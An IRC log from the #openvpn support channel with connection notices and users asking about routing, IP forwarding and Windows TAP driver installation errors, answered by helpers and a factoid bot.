13:52 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-uphnluitixhialnp] has quit [Ping timeout: 240 seconds]
13:53 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
13:53 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has joined #openvpn
13:53 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
13:53 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
13:53 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
13:54 -!- octe [~octe@stilgar.fixme.se] has quit [Ping timeout: 240 seconds]
13:55 -!- octe [~octe@stilgar.fixme.se] has joined #openvpn
13:56 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 258 seconds]
13:58 < jzaw> pekster personally i think that FTL pkt delivery RFC was a bit premature ;)
13:58 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
13:58 < jzaw> slightly ahead of itself
13:58 -!- mete [~mete@mete.shell.la] has joined #openvpn
13:59 < jzaw> its like when i ask the SO
13:59 < jzaw> it goes like this
13:59 < jzaw> No you cant
13:59 < jzaw> can i go to the pub with the lads pls
13:59 < jzaw> ;)
14:02 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Wibbly Wobbly IRC]
14:03 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
14:13 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit []
14:13 -!- BenLue [~BenLue@69.197.175.44] has joined #openvpn
14:14 -!- BenLue [~BenLue@69.197.175.44] has quit [Changing host]
14:14 -!- BenLue [~BenLue@unaffiliated/benlue] has joined #openvpn
14:23 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
14:23 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:24 -!- Feico_ [~feico@s529db771.adsl.online.nl] has joined #openvpn
14:27 -!- Feico [~feico@s529db771.adsl.online.nl] has quit [Ping timeout: 264 seconds]
14:28 -!- jthunder [~jthunder@d75-152-118-239.abhsia.telus.net] has joined #openvpn
14:30 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
14:34 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
14:36 -!- BenLue [~BenLue@unaffiliated/benlue] has quit [Ping timeout: 256 seconds]
14:57 -!- dazo is now known as dazo_afk
15:00 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
15:01 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:01 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit [Ping timeout: 252 seconds]
15:02 < EugeneKay> jzaw - http://eugenekay.com/img/breastenlargement.jpg
15:03 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
15:04 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit [Changing host]
15:04 -!- BenLue [~BenLue@unaffiliated/benlue] has joined #openvpn
15:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:18 -!- michaelhart [~mdh@204-16-154-194-static.ipnetworksinc.net] has joined #openvpn
15:18 -!- michaelhart [~mdh@204-16-154-194-static.ipnetworksinc.net] has quit [Client Quit]
15:19 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 272 seconds]
15:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:21 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 252 seconds]
15:30 -!- poiu [~poiu@ip-5-147-2-131.unitymediagroup.de] has joined #openvpn
15:30 -!- poiu [~poiu@ip-5-147-2-131.unitymediagroup.de] has quit [Client Quit]
15:31 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 264 seconds]
15:45 -!- abyss [~abyss@i-free.pl] has joined #openvpn
15:49 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
15:49 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-vbpmyvbslocqoeoq] has joined #openvpn
15:52 -!- jthunder [~jthunder@d75-152-118-239.abhsia.telus.net] has quit [Ping timeout: 272 seconds]
15:53 -!- jthunder [~jthunder@d75-152-118-239.abhsia.telus.net] has joined #openvpn
15:57 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
16:01 -!- awc737 is now known as awc737_away
16:03 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:04 -!- jimmyz2 [d055d3c4@gateway/web/cgi-irc/kiwiirc.com/ip.208.85.211.196] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
16:10 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
16:10 -!- abec0_ [olivier@vvma.net] has joined #openvpn
16:12 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
16:12 -!- mode/#openvpn [+o plai] by ChanServ
16:14 -!- DBordelo [~DBordello@2607:ff50:0:1a::10] has joined #openvpn
16:15 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
16:15 -!- EugeneK [eugene@madeitwor.se] has joined #openvpn
16:15 -!- Netsplit *.net <-> *.split quits: DBordello, EugeneKay, sitaktif1, abec0, djjunde, Aketzu, @plaisthos
16:15 -!- DBordelo is now known as DBordello
16:15 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has quit [Changing host]
16:15 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
16:15 -!- EugeneK is now known as EugeneKay
16:16 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:21 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
16:22 -!- plai is now known as plaisthos
16:22 -!- Netsplit over, joins: sitaktif1
16:25 -!- jthunder [~jthunder@d75-152-118-239.abhsia.telus.net] has quit [Ping timeout: 272 seconds]
16:31 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:32 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
16:35 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
16:52 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Read error: Operation timed out]
16:53 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Excess Flood]
16:54 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
16:55 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 272 seconds]
16:56 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
16:59 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
16:59 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
17:06 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
17:09 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
17:10 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
17:10 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
17:15 -!- Netsplit *.net <-> *.split quits: +_quadDamage, Dave2, Martin`, tgunr, Aketzu_, Thermi, spacedust, mjixx_, jave
17:15 -!- Martin`_ is now known as Martin`
17:15 -!- Netsplit over, joins: +_quadDamage, tgunr, mjixx_, Thermi, jave, spacedust, Dave2
17:16 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
17:16 < fordbr> !clientlan
17:16 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
17:16 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
17:20 < BenLue> !ipforward
17:20 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
17:20 < BenLue> !linipforward
17:20 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
17:21 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
17:35 -!- awc737_away is now known as awc737
17:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:45 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
17:45 -!- zpmorgan [~zach@208-104-132-251.brvd.dsl.dyn.comporium.net] has quit [Ping timeout: 252 seconds]
17:46 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
17:46 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
17:46 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
17:55 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-vbpmyvbslocqoeoq] has quit [Quit: Connection closed for inactivity]
17:58 -!- zpmorgan [~zach@nl4x.mullvad.net] has joined #openvpn
18:10 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
18:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
18:44 -!- awc737 is now known as awc737_away
18:51 -!- StephanSmith [~JohnSmith@78.129.180.118] has joined #openvpn
18:54 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Remote host closed the connection]
19:02 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
19:06 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
19:15 -!- StephanSmith [~JohnSmith@78.129.180.118] has quit [Remote host closed the connection]
19:27 -!- quentusrex [~quentusre@freeswitch/developer/quentusrex] has quit [Quit: Leaving]
19:45 -!- raidz is now known as raidz_away
19:53 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:04 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
20:11 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
20:55 -!- jthunder_ [~jthunder@174.3.126.51] has joined #openvpn
20:56 -!- jthunder__ [~jthunder@174.3.126.51] has joined #openvpn
20:58 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 264 seconds]
20:58 -!- jthunder__ is now known as jthunder
21:00 -!- jthunder_ [~jthunder@174.3.126.51] has quit [Ping timeout: 255 seconds]
21:01 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
21:02 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:11 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:12 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:21 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:28 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
21:29 -!- awc737_away [~awc737@2604:180::805e:30d0] has quit [Quit: ZNC - http://znc.sourceforge.net]
21:31 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:36 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
21:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:43 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:52 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:59 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
21:59 -!- brute11k [~brute@89.249.235.152] has quit [Ping timeout: 268 seconds]
22:01 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
22:01 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
22:02 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:03 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:09 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
22:10 -!- xbanux1 [~xbanux@115.254.75.113] has quit [Ping timeout: 260 seconds]
22:12 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:14 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:22 -!- master_o1_master [~master_of@p4FF24AF3.dip0.t-ipconnect.de] has joined #openvpn
22:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:25 -!- awc737_away [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
22:25 -!- master_of_master [~master_of@p4FF24BB6.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
22:28 -!- awc737_away is now known as awc737
22:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:33 < awc737> lol, without my vpn, my download is 34Mbps, with VPN it is 4Mbps... worth it?
22:34 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:43 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:44 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:46 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:47 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:51 < pppingme> awc737 whats your goal with the vpn?
23:04 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
23:06 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
23:18 < awc737> pppingme, be on it 100% of the time
23:18 < awc737> or at least 100% of the time i'm at work, which has horrible firewall
23:32 -!- brute11k [~brute@89.249.235.152] has quit [Ping timeout: 256 seconds]
23:39 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
--- Day changed Fri Apr 26 2013
00:22 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
00:23 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
00:44 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has joined #openvpn
00:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
01:03 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:08 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:08 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:08 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:21 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
01:35 -!- awc737 is now known as awc737_away
01:37 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
01:45 -!- Feico_ is now known as Feico
01:47 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:52 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:52 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:52 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds]
02:25 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
02:25 -!- mode/#openvpn [+o plaisthos] by ChanServ
02:30 -!- zpmorgan [~zach@nl4x.mullvad.net] has quit [Ping timeout: 256 seconds]
02:47 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:00 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
03:10 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
03:13 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
04:00 -!- ngharo [~ngharo@hacked.thegov.us] has quit [Read error: Operation timed out]
04:01 -!- ngharo [~ngharo@hacked.thegov.us] has joined #openvpn
04:01 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Quit: WeeChat 0.3.8]
04:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Client Quit]
04:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:08 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Client Quit]
04:08 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
04:08 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
04:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:16 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Quit: ZNC - http://znc.in]
04:18 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
04:33 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:33 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:33 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
04:33 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 258 seconds]
04:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
05:23 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
05:23 -!- mode/#openvpn [+o dazo_afk] by ChanServ
05:23 -!- dazo_afk is now known as dazo
05:25 -!- zapotah [~zapotah@a88-112-61-228.elisa-laajakaista.fi] has quit [Read error: Operation timed out]
05:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
05:26 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:37 < BenLue> hmmm i cant ping clients behind my lan. is my routingtable correct? http://paste.debian.net/387/
05:51 -!- zapotah [~zapotah@a88-112-61-228.elisa-laajakaista.fi] has joined #openvpn
06:26 -!- brute11k [~brute@89.249.235.57] has joined #openvpn
06:38 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:39 -!- Devastator- [~devas@186.214.111.234] has joined #openvpn
06:40 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
06:44 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:44 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:44 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:49 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:10 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:11 -!- blackroseblade [blackroseb@119.155.118.228] has joined #openvpn
07:12 < blackroseblade> So I've got a problem on the server side.
07:12 < blackroseblade> Waiting 32 seconds for eth0 to get ready.
07:12 < blackroseblade> ssh stop/waiting
07:12 < blackroseblade> ssh start/running, process 24790
07:12 < blackroseblade> Failed to bring up eth0.
07:12 < blackroseblade> I followed this guide https://help.ubuntu.com/community/OpenVPN
07:12 <@vpnHelper> Title: OpenVPN - Community Ubuntu Documentation (at help.ubuntu.com)
07:12 < blackroseblade> !welcome
07:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
07:12 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:12 < blackroseblade> !howto
07:12 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
07:25 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
07:25 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
07:27 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
07:33 -!- j5m1th [~j5m1th@78.129.180.118] has joined #openvpn
08:01 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
08:02 -!- blackroseblade [blackroseb@119.155.118.228] has quit []
08:03 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 272 seconds]
08:14 -!- brute11k1 [~brute@89.249.231.15] has joined #openvpn
08:15 -!- Devastator- [~devas@186.214.111.234] has quit [Changing host]
08:15 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
08:15 -!- Devastator- is now known as Devastator
08:16 -!- brute11k [~brute@89.249.235.57] has quit [Ping timeout: 252 seconds]
08:25 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
08:26 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:29 -!- d3c [~d3c@79.138.252.64.bredband.3.dk] has joined #openvpn
08:33 -!- j5m1th [~j5m1th@78.129.180.118] has quit [Quit: Leaving]
08:43 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
08:43 < CygniX> hi
08:44 -!- d3c [~d3c@79.138.252.64.bredband.3.dk] has quit [Quit: Sleep]
08:44 < CygniX> I just setup openvpn, cient connection is accepted, and I can ping 10.8.0.1 successfully, but can browse the net
08:44 < CygniX> what am I doing wrong?
08:47 < CygniX> sorry, that read, I can't browse the web
09:00 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Ping timeout: 268 seconds]
09:27 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
09:27 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
09:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:30 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
09:37 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
09:51 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:07 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
10:38 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:45 -!- yes_understand [~chatzilla@host105-227-static.240-95-b.business.telecomitalia.it] has joined #openvpn
10:49 < yes_understand> !welcome
10:49 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
10:49 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:50 < yes_understand> !ask
10:50 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
10:52 < awc737_away> !wut
10:53 -!- awc737_away is now known as awc737
10:55 -!- raidz_away is now known as raidz
11:05 < yes_understand> Hi! I want to connect a Win7 Pro 64Bit openvpn client to an ubuntu 12.04LTS openvpn server - with the server everything is ok but the client installation does not work: Error message during install: TAP installation failed; did manually launch Tap-Windows 9.9.2 Setup: devcon.exe failed. devcon.exe returned: 2  - does anybody have an idea thx
11:07 < pekster> yes_understand: Forget to run the installer as an administrator perhaps?
11:08 < yes_understand> did right-click run as amministrator - searched forums etc. only found reference to unsigned driver problems - is it still the case with 2.3.1?
11:09 < pekster> The official downloads have a signed driver, although it may still prompt you to accept it the first time
11:10 < pekster> (when prompting it should show the signed status)
11:10 < pekster> IIRC there's a local policy setting to disallow installation anyway (even if signed) so you might check that
11:11 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
11:16 < yes_understand> do you have any hint where to find that - sorry i am not a windows specialist
11:17 < pekster> I don't have a Windows machine on at the moment, so no. Try google, or dig yourself in the 'Local Security Policy' mmc applet
11:19 < pekster> You can try running the tap installer manually; grab a copy of 7-zip, open the openvpn installer with it, and take out the 'tap-windows.exe' binary. Run that and maybe it'll give you a better error
11:19 < yes_understand> i have done that the error is devcon failed - returned:2
11:42 < yes_understand> i checked the local policies and configured to prompt if trying to install - after launching the TAP installer i get prompted and the certificate is ok - the installer launches but then pops up "An error occured installing the TAP device driver"
11:43 < yes_understand> in the log after - Updating drivers for tap0901 .... next line devcon.exe failed - devcon returned: 2
11:43 < yes_understand> but dialog prompts setup completed successfully
11:44 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
11:49 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:29 < yes_understand> it seems related to BUG 266 owned by samuli - i tried to launch devcon.exe from the console but it simply say devcon failed - is there a log with more info somewhere?
12:39 -!- yes_understand [~chatzilla@host105-227-static.240-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
12:44 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
12:51 -!- JSharpe_ [~JSharpe@ns264658.ovh.net] has quit [Quit: Leaving]
13:05 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 246 seconds]
13:06 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 260 seconds]
13:07 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
13:07 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
13:09 -!- eafonichev [~eafoniche@194.213.110.66] has joined #openvpn
13:11 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 264 seconds]
13:12 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
13:13 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Read error: Operation timed out]
13:13 < eafonichev> hi! can the openvpn read somehow local routes table (except some rules) and push them to the client? Well, there are two options I see - to write statically all routes in conf or configure vpn server as a default gateway. Neither of them fits
13:13 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
13:14 < copper> hi
13:14 < copper> I have openvpn for android
13:14 < copper> but there's another "official" app called OpenVPN Connect, what is it?
13:14 < pekster> eafonichev: You can push custom routes via a ccd (see !ccd) or a --client-connect script that can do any backend you want and write to $1 and such options are sent to the client as if it was in a ccd
13:15 < eafonichev> !ccd
